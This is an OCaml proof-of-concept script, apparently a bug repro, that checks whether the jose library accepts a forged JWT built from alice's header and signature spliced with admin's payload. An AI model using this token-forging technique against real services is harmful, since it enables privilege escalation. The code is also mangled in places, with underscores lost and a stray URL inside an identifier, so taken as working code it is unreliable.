let () = Mirage crypto rng unix.use default ()

let key =
 Jose.Jwk.make priv rsa (Mirage crypto pk.Rsa.generate ~bits:2048 ())

let sign sub =
 Jose.Jwt.sign key ~payload:(`Assoc [ ("sub", `String sub) ])
 |> Result.get ok |> Jose.Jwt.to<http://jose.jwt.to/> string

let seg n token = List.nth (String.split on char '.' token) n

let alice = sign "alice" and admin = sign "admin"

(* alice's header and signature, admin's payload *)
let forged = String.concat "." [ seg 0 alice; seg 1 admin; seg 2 alice ]

match
 Jose.Jwt.unsafe of string forged
 |> Result.get ok
 |> Jose.Jwt.validate ~jwk:(Jose.Jwk.pub of priv key) ~now:(Ptime clock.now ())
with
 | Ok t ->
  print endline
   ("accepted, sub = " ^ Option.get (Jose.Jwt.get string claim t "sub"))
 | Error  -> print endline "rejected"

(executable (name repro)
(libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))